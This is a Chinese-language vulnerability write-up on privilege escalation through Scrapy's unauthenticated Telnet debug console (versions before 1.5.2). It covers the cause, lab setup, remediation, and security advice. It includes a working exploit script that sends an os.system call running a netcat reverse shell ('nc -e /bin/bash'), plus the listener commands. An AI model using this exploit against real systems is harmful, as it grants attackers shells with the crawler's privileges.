网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE
字数 944 2025-08-18 11:38:45

Scrapy Telnet服务本地权限提升漏洞分析与利用

漏洞概述

本漏洞存在于Scrapy框架的Telnet服务中,允许本地攻击者在特定条件下实现权限提升(LPE, Local Privilege Escalation)。该漏洞影响Scrapy 1.5.2以下版本。

漏洞原理

Scrapy框架默认启用Telnet服务用于调试,监听本地6023端口。该服务存在以下安全问题:

  1. 无身份验证机制:任何本地用户都可以连接
  2. 执行环境权限:Telnet控制台以运行Scrapy进程的用户权限执行命令
  3. 命令注入可能:可通过Telnet接口执行任意Python代码

受影响版本

Scrapy < 1.5.2

环境搭建

所需环境

  • Kali Linux系统
  • Python 3环境
  • Scrapy 1.5.1版本

安装步骤

  1. 下载Scrapy 1.5.1源码:

    wget https://github.com/scrapy/scrapy/releases/download/1.5.1/scrapy-1.5.1.zip
    unzip scrapy-1.5.1.zip
    cd scrapy-1.5.1
    
  2. 安装依赖和Scrapy:

    pip3 install Twisted
    python3 setup.py install
    

漏洞复现

测试爬虫代码

创建telnet_test.py文件,内容如下:

import scrapy
from scrapy.http import Request

class TelnetWaitingSpider(scrapy.Spider):
    name = "telnet_waiting"
    allowed_domains = ["example.org"]
    start_urls = ["http://www.example.org"]
    download_delay = 1000

    def parse(self, _):
        yield Request(url="http://www.example.org/")

利用代码

创建exp.py文件,内容如下:

import telnetlib

rs = "nc.traditional -e /bin/bash localhost 4444"
tn = telnetlib.Telnet("localhost", 6023)
tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")

复现步骤

  1. 在一个终端中启动Netcat监听:

    nc -lvp 4444
    
  2. 在另一个终端中以高权限用户(如root)运行爬虫:

    scrapy runspider telnet_test.py
    
  3. 在第三个终端中执行利用代码:

    python3 exp.py
    
  4. 观察Netcat终端,将获得一个具有爬虫运行用户权限(如root)的shell。

漏洞分析

  1. Telnet服务默认启用:Scrapy运行时自动启动Telnet服务,监听6023端口
  2. 无认证机制:服务不验证连接者身份,任何本地用户均可连接
  3. 高权限执行:通过Telnet执行的代码以Scrapy进程权限运行
  4. 命令注入:可通过Python的os.system()执行系统命令

修复方案

  1. 升级到Scrapy 1.5.2或更高版本
  2. 禁用Telnet服务(在settings.py中添加):
    TELNETCONSOLE_ENABLED = False
    
  3. 使用防火墙规则限制本地访问:
    iptables -A INPUT -p tcp --dport 6023 -j DROP
    

安全建议

  1. 定期更新使用的框架和库
  2. 最小权限原则:不以高权限用户运行爬虫
  3. 生产环境禁用调试接口
  4. 实施网络隔离,限制服务监听范围

总结

此漏洞展示了框架默认配置可能带来的安全风险,强调了:

  • 调试接口的安全性问题
  • 默认配置的安全隐患
  • 权限隔离的重要性
  • 本地安全同样不可忽视

开发人员应充分了解所使用框架的安全特性,并在生产环境中进行适当的安全配置。

Scrapy Telnet服务本地权限提升漏洞分析与利用 漏洞概述 本漏洞存在于Scrapy框架的Telnet服务中,允许本地攻击者在特定条件下实现权限提升(LPE, Local Privilege Escalation)。该漏洞影响Scrapy 1.5.2以下版本。 漏洞原理 Scrapy框架默认启用Telnet服务用于调试,监听本地6023端口。该服务存在以下安全问题: 无身份验证机制 :任何本地用户都可以连接 执行环境权限 :Telnet控制台以运行Scrapy进程的用户权限执行命令 命令注入可能 :可通过Telnet接口执行任意Python代码 受影响版本 Scrapy < 1.5.2 环境搭建 所需环境 Kali Linux系统 Python 3环境 Scrapy 1.5.1版本 安装步骤 下载Scrapy 1.5.1源码: 安装依赖和Scrapy: 漏洞复现 测试爬虫代码 创建 telnet_test.py 文件,内容如下: 利用代码 创建 exp.py 文件,内容如下: 复现步骤 在一个终端中启动Netcat监听: 在另一个终端中以高权限用户(如root)运行爬虫: 在第三个终端中执行利用代码: 观察Netcat终端,将获得一个具有爬虫运行用户权限(如root)的shell。 漏洞分析 Telnet服务默认启用 :Scrapy运行时自动启动Telnet服务,监听6023端口 无认证机制 :服务不验证连接者身份,任何本地用户均可连接 高权限执行 :通过Telnet执行的代码以Scrapy进程权限运行 命令注入 :可通过Python的os.system()执行系统命令 修复方案 升级到Scrapy 1.5.2或更高版本 禁用Telnet服务(在settings.py中添加): 使用防火墙规则限制本地访问: 安全建议 定期更新使用的框架和库 最小权限原则:不以高权限用户运行爬虫 生产环境禁用调试接口 实施网络隔离,限制服务监听范围 总结 此漏洞展示了框架默认配置可能带来的安全风险,强调了: 调试接口的安全性问题 默认配置的安全隐患 权限隔离的重要性 本地安全同样不可忽视 开发人员应充分了解所使用框架的安全特性,并在生产环境中进行适当的安全配置。